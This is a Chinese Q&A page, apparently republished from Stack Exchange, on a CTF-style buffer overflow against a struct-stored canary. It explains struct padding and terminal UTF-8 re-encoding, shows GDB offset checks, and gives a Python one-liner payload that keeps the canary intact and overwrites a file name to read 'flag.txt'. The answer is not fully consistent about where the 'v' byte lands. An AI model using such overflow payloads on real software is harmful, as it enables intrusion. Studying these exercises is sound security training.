You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

带Canary保护的缓冲区溢出利用问题:Canary值异常原因排查

解决Canary校验失败的问题:结构体对齐与终端编码干扰

让我们一步步拆解你遇到的问题:

问题核心原因

你遇到的canary error主要来自两个容易忽略的点:结构体内存对齐和终端UTF-8编码的转码干扰。

1. 结构体的隐藏填充字节

先看你的结构体定义:

typedef struct {
    char flag_content[BUFSIZE]; // 1024字节(4的倍数,对齐没问题)
    char guess[47];             // 47字节,不是4的倍数
    unsigned canary;            // 4字节类型,要求起始地址是4的倍数
    char flag_file[BUFSIZE];    // 1024字节
} st_t;

C编译器会为了满足成员的对齐要求,在guess和canary之间添加1字节的填充——因为1024 + 47 = 1071,1071不是4的倍数,编译器会补1字节让canary的起始地址变成1072(4的倍数)。

这意味着:

  • 你输入的47个A刚好填满guess数组
  • 接下来的第一个字符(也就是你输入的v)会被写入这个填充字节
  • 之后的¸IB会被写入canary的位置,但因为终端编码问题,¸被转码成了多字节,直接破坏了canary的原始值。

2. 终端UTF-8编码的干扰

你想输入的¸对应单字节0xB8,但大部分终端默认用UTF-8编码,而0xB8不是合法的UTF-8单字节字符,终端会自动把它转换成UTF-8的双字节序列0xC2 0xB8。这就导致你原本想写入4字节的canary值,实际写入了5字节,直接把canary的第一个字节改成了0xC2,最终canary变成0x4249b8c2(小端存储下,字节顺序是0xC2 0xB8 0x49 0x42),自然触发了校验失败。

解决方法

步骤1:确认结构体的实际布局(可选但推荐)

用GDB调试确认成员的偏移量,确保你知道填充字节的数量:

# 启动程序后,暂停在main函数
b main
r
# 打印结构体成员的偏移
p &st.guess - &st       # 应该是1024
p &st.canary - &st      # 应该是1072(1024+47+1)
p &st.flag_file - &st   # 应该是1076(1072+4)

步骤2:用脚本生成无编码干扰的Payload

直接在终端输入特殊字符会被转码,所以用Python生成包含原始字节的payload,通过管道输入给程序:

# 构造payload:47个A + 1字节填充(任意值,这里用\x00) + 小端序的canary值 + "flag.txt"
payload = b'A' * 47 + b'\x00' + b'\x76\xB8\x49\x42' + b'flag.txt'
# 用latin-1解码避免转码,end=''防止添加额外换行
print(payload.decode('latin-1'), end='')

然后运行程序时用管道输入:

python3 -c 'payload = b"A"*47 + b"\x00" + b"\x76\xB8\x49\x42" + b"flag.txt"; print(payload.decode("latin-1"), end="")' | ./mission1

这样就能精准控制每个字节的内容:

  • 47个A填满guess
  • 1字节填充不影响程序逻辑
  • \x76\xB8\x49\x42是0x4249b876的小端序字节,完美匹配原始canary值
  • 最后flag.txt覆盖flag_file字段,成功读取真实flag。

内容的提问来源于stack exchange,提问作者Kordo

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.28 06:42:28